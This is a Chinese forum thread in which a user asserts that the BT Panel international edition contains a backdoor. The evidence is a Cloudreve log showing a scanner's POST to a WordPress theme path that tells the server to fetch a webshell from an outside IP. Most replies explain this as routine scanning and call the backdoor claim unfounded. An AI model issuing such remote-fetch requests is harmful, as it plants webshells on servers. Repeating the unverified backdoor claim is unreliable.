宝塔国际版 BTPanel 疑似有后门，已确定

耶稣

昨天安装了个国际版，今天就安装了个Cloudreve正版。然后反带，用Supervisor进程守护，查看日志便是如下

https://s1.ax1x.com/2022/09/15/vxYNe1.png

[Info]    2022-09-14 19:25:49 初始化数据库连接
[Info]    2022-09-14 19:25:49 开始进行数据库初始化...
[Info]    2022-09-14 19:26:03 初始管理员账号：admin@cloudreve.org
[Info]    2022-09-14 19:26:03 初始管理员密码：DrPu1C5i
[Info]    2022-09-14 19:26:11 开始执行数据库脚本 [UpgradeTo3.4.0]
[Info]    2022-09-14 19:26:11 数据库初始化结束
[Info]    2022-09-14 19:26:11 初始化任务队列，WorkerNum = 10
[Info]    2022-09-14 19:26:11 初始化定时任务...
[Info]    2022-09-14 19:26:11 当前运行模式：Master
[Info]    2022-09-14 19:26:11 已连接到 Redis 服务器：127.0.0.1:6379
[Info]    2022-09-14 19:26:11 开始监听 :5212
[GIN] 2022/09/14 - 19:26:22 | 200 |    6.742758ms |   152.89.196.13 | POST     "/wp-content/themes/busify/bindex.php?url=http://152.89.196.13/b.txt"

http://152.89.196.13/b.txt  这个小马文件




不知道哪一个环节被k了

榆木

没文化的人 总是担心被害 想搞个大新闻

火块

这不就是日常的扫漏洞吗 和宝塔 cloudreve wp 都没关系 只是这个主题垃圾在被扫列表里

小夜

亲，咱还是别建站了。宝塔不是这么黑的。

诡谲

hahahahahaha 容我笑一会。。。。。
真的，你还是别建站了，找个懂的人来搞吧。

华盛顿

耶稣 发表于 2022-9-15 14:16
问题就是出现在这里，我新装的面板 还没用安装过wp

所以你什么都没搞清楚，

标题里 “已确定” 是怎么确定的，

你经过测试了吗，

宝塔这个级别的安装量，就你这里确定有后门了吗

耶稣

xbnong 发表于 2022-9-15 08:43
你这只装了cloudreve ，怎么还会有WordPress?

问题就是出现在这里，我新装的面板 还没用安装过wp

imsun

总想搞个大新闻

h3cie

总有刁民想害朕……

贱人就是矫情

还已确定 。。。 确定个der啊！

cya

盗版主题吧？

gajiodgaj

不懂帮顶、、、

ved2loc

从小白的角度判断，你这锅主题得背

tomcb

哪个版本的宝塔

pcppc

这是wp主题目录

cake

看看你的WP主题哪个是busify，这个主题有小马

xbnong

你这只装了cloudreve ，怎么还会有WordPress?

流河旱树

换个Wordpress主题